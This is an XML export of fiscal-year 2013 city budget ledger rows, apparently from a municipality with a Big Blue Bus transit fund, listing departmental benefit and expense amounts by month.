<row _id="4057"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>400681.0</object><object_description>EMS REVENUE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-889179.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-889179.0</total></row>
<row _id="4058"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>511741.0</object><object_description>MEDICAL - POLICE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>152806.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>152806.0</total></row>
<row _id="4059"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>511745.0</object><object_description>MED TRUST - FIRE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>12482.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>12482.0</total></row>
<row _id="4060"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>37277.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>373</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>37650.0</total></row>
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<row _id="4086"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>3582.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>36</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3618.0</total></row>
<row _id="4087"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>522.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>522.0</total></row>
<row _id="4088"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>222</division_id><division_name>FINANCIAL OPERATIONS</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>13987.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>140</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>14127.0</total></row>
<row _id="4089"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>BUSINESS &amp; REVENUE OPERATIONS</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>7319.0</july><august>0</august><september>0.0</september><october>-45.0</october><november>0</november><december>0</december><january>0.0</january><february>73</february><march>0.0</march><april>-121</april><may>0</may><june>0.0</june><total>7226.0</total></row>
<row _id="4090"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>BUSINESS &amp; REVENUE OPERATIONS</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>2084.0</july><august>0</august><september>0.0</september><october>-4.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>-24</april><may>0</may><june>0.0</june><total>2056.0</total></row>
<row _id="4091"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>2124.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2124.0</total></row>
<row _id="4092"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>522.0</july><august>0</august><september>0.0</september><october>200.0</october><november>0</november><december>0</december><january>0.0</january><february>52</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>774.0</total></row>
<row _id="4093"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>2279.0</july><august>0</august><september>0.0</september><october>-100.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2179.0</total></row>
<row _id="4094"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>822.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>822.0</total></row>
<row _id="4095"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1327.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>13</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1340.0</total></row>
<row _id="4096"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1144.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1144.0</total></row>
<row _id="4097"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>615</division_id><division_name>REFERENCE SERVICES</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>7805.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-2</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>7803.0</total></row>
<row _id="4098"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>615</division_id><division_name>REFERENCE SERVICES</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>2342.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-25</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2317.0</total></row>
<row _id="4099"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>3060.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>31</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3091.0</total></row>
<row _id="4100"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>492.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>492.0</total></row>
<row _id="4101"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>5678.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>57</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5735.0</total></row>
<row _id="4102"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>10714.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>107</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>10821.0</total></row>
<row _id="4103"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>7863.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>7863.0</total></row>
<row _id="4104"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>16544.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>165</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>16709.0</total></row>
<row _id="4105"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>305</division_id><division_name>OPERATIONS DIVISION</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>119930.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>1199</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>121129.0</total></row>
<row _id="4106"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>SPECIAL ENFORCEMENT DIV</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>35141.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>351</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>35492.0</total></row>
<row _id="4107"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>SPECIAL ENFORCEMENT DIV</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>6480.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6480.0</total></row>
<row _id="4108"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>2192.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2192.0</total></row>
<row _id="4109"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>6520.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>65</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6585.0</total></row>
<row _id="4110"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>315</division_id><division_name>TRAINING</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1483.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>15</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1498.0</total></row>
<row _id="4111"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>2785.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>28</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2813.0</total></row>
<row _id="4112"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1808.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>18</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1826.0</total></row>
<row _id="4113"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>420.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>420.0</total></row>
<row _id="4114"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>655</division_id><division_name>TRANSIT OPERATIONS</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>75494.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>75494.0</total></row>
<row _id="4115"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT CUSTOMER &amp; GOVT RELAT</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1912.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-9</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1903.0</total></row>
<row _id="4116"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>652</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511746.0</object><object_description>MED TRUST - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>78137.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>78137.0</total></row>
<row _id="4117"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>652</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>6011.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6011.0</total></row>
<row _id="4118"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>653</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511743.0</object><object_description>MEDICAL - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>263322.0</july><august>17288</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>280610.0</total></row>
<row _id="4119"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>655</division_id><division_name>TRANSIT OPERATIONS</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>39700.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>39700.0</total></row>
<row _id="4120"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>670</division_id><division_name>TRANSIT SAFETY &amp; TRAINING</division_name><object>511746.0</object><object_description>MED TRUST - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>6914.0</july><august>1738</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>3476</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>12128.0</total></row>
<row _id="4121"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>5845.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5845.0</total></row>
<row _id="4122"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>555870.0</object><object_description>GROCERY &amp; SUNDRY ITEMS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>36900.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>36900.0</total></row>
<row _id="4123"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>511711.0</object><object_description>MEDICARE-POLICE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>31371.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>31371.0</total></row>
<row _id="4124"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>SPECIAL ENFORCEMENT DIV</division_name><object>511711.0</object><object_description>MEDICARE-POLICE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>74804.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>74804.0</total></row>
<row _id="4125"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>10831.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>108</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>10939.0</total></row>
<row _id="4126"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>17165.0</july><august>0</august><september>0.0</september><october>-1000.0</october><november>0</november><december>0</december><january>0.0</january><february>162</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>16327.0</total></row>
<row _id="4127"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>8855.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>89</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>8944.0</total></row>
<row _id="4128"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>10976.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>110</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>11086.0</total></row>
<row _id="4129"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>615</division_id><division_name>REFERENCE SERVICES</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>23705.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-13</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>23692.0</total></row>
